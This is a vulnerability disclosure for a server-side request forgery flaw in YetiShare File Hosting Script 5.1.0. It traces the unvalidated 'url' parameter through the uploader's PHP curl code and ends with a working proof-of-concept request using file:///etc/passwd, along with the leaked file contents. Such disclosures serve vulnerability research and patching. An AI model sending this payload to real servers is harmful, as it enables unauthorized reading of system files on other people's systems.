YetiShare File Hosting Script 5.1.0 Server-Side Request Forgery

`# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery  
# Date: 09.01.2021  
# Author: Numan Türle  
# Vendor Homepage: https://mfscripts.com  
# Software Link: https://yetishare.com  
# Version: v5.1.0  
# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4  
  
  
Summary  
---------  
YetiShare is script the file hosting. This script has remote file upload feature.  
Since sufficient security measures are not taken in the remote file upload area,   
SSRF vulnerability available.  
  
Description  
---------  
When a new upload request is received by the user, the following function block   
is called first.  
app/tasks/process_remote_file_downloads.cron.php  
------------------------------------------------  
// include plugin code  
$url = $urlDownloadData['url'];  
$params = PluginHelper::includeAppends('url_upload_handler', array(  
'url' => $url,  
'rowId' => 0,  
'urlDownloadData' => $urlDownloadData,  
)  
);  
$url = $params['url'];  
  
// start download  
$upload_handler->handleRemoteUrlUpload($url);  
------------------------------------------------  
  
The url parameter received as input from the user in the called function blog is   
sent to the "handleRemoteUrlUpload" function.   
  
/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/  
Uploader.class.php  
------------------------------------------------------------------  
public function handleRemoteUrlUpload($url, $rowId = 0) {  
.....  
$remoteFileDetails = $this->getRemoteFileDetails($url);  
$remoteFilesize = (int) $remoteFileDetails['bytes'];  
if ($remoteFilesize > $this->options['max_file_size']) {  
.....ERROR MSG  
}  
else {  
// look for real filename if passed in headers  
if (strlen($remoteFileDetails['real_filename'])) {  
$realFilename = trim(current(explode(';',   
$remoteFileDetails['real_filename'])));  
if (strlen($realFilename)) {  
$this->fileUpload->name = $realFilename;  
}  
}  
  
// try to get the file locally  
$localFile = $this->downloadRemoteFile($url, true);  
------------------------------------------------------------------  
  
In this function that is called, the details of the file are taken first and if   
the bytes is not larger than the max_file_size, the "downloadRemoteFile"   
function will go to the download.  
  
------------------------------------------------------------------  
public function getRemoteFileDetails($url) {  
.....  
$execute = curl_exec($ch);  
  
// check if any error occured  
if (!curl_errno($ch)) {  
$rs['bytes'] = (int) curl_getinfo($ch,   
CURLINFO_CONTENT_LENGTH_DOWNLOAD);  
.....  
------------------------------------------------------------------  
------------------------------------------------------------------  
public function downloadRemoteFile($url, $streamResponse = false) {  
.....  
// use curl  
if (function_exists('curl_init')) {  
// get file via curl  
$fp = fopen($tmpFullPath, 'w+');  
if ($ch === null) {  
$ch = curl_init();  
}  
  
curl_setopt($ch, CURLOPT_URL, $url);  
.....  
curl_setopt($ch, CURLOPT_FILE, $fp);  
if (curl_exec($ch) === false) {  
// log error  
LogHelper::error('Failed getting url. Error: '   
. curl_error($ch) . ' (' . $url . ')');  
return false;  
}  
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);  
curl_close($ch);  
fclose($fp);  
.....  
}  
.....  
------------------------------------------------------------------  
  
  
  
  
POC  
---------  
  
GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1  
Host: target.com  
Connection: close  
Accept: */*  
Cookie: HERE_COOKIE  
  
  
  
Response  
---------  
HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Connection: close  
Pragma: no-cache  
Content-Length: XXX  
  
...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,  
"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,  
"requestUrl":"file:\/\/\/etc\/passwd","url":....  
  
  
  
..........  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
  
  
`